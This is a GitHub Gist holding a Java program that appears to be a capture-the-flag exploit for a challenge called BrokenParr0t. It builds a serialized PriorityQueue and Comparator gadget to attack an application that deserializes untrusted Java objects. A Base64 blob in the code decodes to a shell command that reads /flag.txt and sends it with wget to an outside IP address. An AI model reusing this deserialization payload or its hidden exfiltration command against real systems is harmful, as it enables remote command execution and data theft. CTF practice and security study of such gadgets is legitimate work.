Skip to content

Instantly share code, notes, and snippets.

@nyxsorcerer
Created April 10, 2022 15:54
Show Gist options
  • Save nyxsorcerer/6dcabab91f061a2b758536aaafb1cafe to your computer and use it in GitHub Desktop.
Save nyxsorcerer/6dcabab91f061a2b758536aaafb1cafe to your computer and use it in GitHub Desktop.
Securinets [BrokenParr0t]
package com.securinets.utils;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Map;
public class QuestionCompar implements Serializable, Comparator<Object>{
String internal;
private static final long serialVersionUID = 1L;
@Override
public int compare(Object one, Object two) { return 1; }
public static void main(String [] args){
try {
QuestionCompar questObject = new QuestionCompar();
Field privateQuest = QuestionCompar.class.getDeclaredField("internal");
privateQuest.setAccessible(true);
privateQuest.set(questObject, new String("rO0ABXNyAB5jb20uc2VjdXJpbmV0cy5zZXJ2aWNlcy5BdXRob3IAAAAAAAAAAQIAA0kAA29sZEwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAR1dWlkcQB+AAF4cAAAAAF0AFVzaCAtYyAkQHxzaCAuIGVjaG8gd2dldCBodHRwOi8vMTkyLjMuODEuMTcwOjEyMzQvP2E9JChjYXQgL2ZsYWcudHh0fGJhc2U2NHx0ciAtZCAiCiIpdAAIZjVhNWE2MDg="));
PriorityQueue<QuestionCompar> pq = new PriorityQueue<QuestionCompar>(5,questObject);
pq.add(questObject);
pq.add(questObject);
System.out.println("Object built successfully!");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( baos );
oos.writeObject( pq );
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
System.out.println("Object has been serialized");
}
catch (Exception ex) {
StringWriter writer = new StringWriter();
PrintWriter printWriter = new PrintWriter( writer );
ex.printStackTrace( printWriter );
printWriter.flush();
String stackTrace = writer.toString();
System.out.println("IOException is caught "+stackTrace);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment